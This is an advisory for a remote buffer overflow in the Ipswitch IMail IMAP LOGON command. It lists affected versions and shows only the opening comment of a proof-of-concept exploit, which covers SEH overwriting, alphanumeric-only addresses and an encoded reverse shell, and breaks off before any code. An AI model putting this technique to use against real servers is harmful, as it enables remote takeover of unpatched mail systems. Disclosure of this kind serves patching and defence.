  Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)
------------------------------------------------------------------------


SUMMARY

Ipswitch Collaboration Suite (ICS) provides "e-mail and real-time 
collaboration, calendar and contact list sharing, and protection from SPAM 
and viruses, all delivered in an easy to use package designed with the 
unique needs of small and medium sized businesses in mind".

Ipswitch IMail was found vulnerable for multiple buffer overflow 
vulnerabilities that allow attackers to remotely execute arbitrary code on 
the server. The following exploit code will try to use the LOGON command 
buffer overflow to try and cause the Ipswitch IMail daemon to execute 
arbitrary code.

DETAILS

Vulnerable Systems:
 * Ipswitch IMail version 8.13
 * Ipswitch IMail version 8.12

Immune Systems:
 * Ipswitch IMail Server 8.2 Hotfix 2

Exploit:
/*
IpSwitch IMAP Server LOGON stack overflow.
Software Hole discovered by iDEFENSE
POC written by nolimit and BuzzDee

First, some information for the few of you that know how this stuff works.
The reason you see no SP2 or 2003 offsets is because of Windows SEH 
checks.
Thats right, in this one situation, They've stopped hackers from 
exploiting the machine.
At least with as much research as I care to do. The problem lies in the
fact that only alpha numeric memory addresses can be used in this exploit.
So what lies within the few regions of memory that is alpha numeric safe? 
Only system
DLLs.(Well also a 7000 byte TEB block section, which doesn't really 
produce much either).
So any SEH address overwritten that points to a system DLL will fail past 
Windows XP SP2.
From what I've read and the few tricks I've tried, Theirs no way currently 
to get around the
protection In my situation.

For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This 
is because
of two reasons, While I've developed along with skylined an alpha numeric 
shellcode
to handle the stack protections in Windows XP/2K3, I don't think he's 
ready to release
it yet.So, when It does come around, you can use that and re-adjust the 
stack accordingly
for proper exploitation of SP1.

The size we have on the stack is too small for a bindshell, but big enough 
for a reverse shell!
So I use ALPHA2's decoder and encoder (modified) to write info to reverse 
shell, then encode it.
visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php 
for more information.

Now, for the "impact assessment".
Because this doesn't work on SP2 / 2003, the 53 million users that use 
Imail should
mostly be safe from complete ownage. But, Do not let this fact let you not 
patch your
server! This exploit, sent with any offset, will still crash your IMAP 
server!
With that said, Thier is still a small amount of servers online that run 
one of these
targetted offsets, and therefore can be exploited. I hope this Proof Of 
Concept is the
push administrators need to patch their software.

For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.
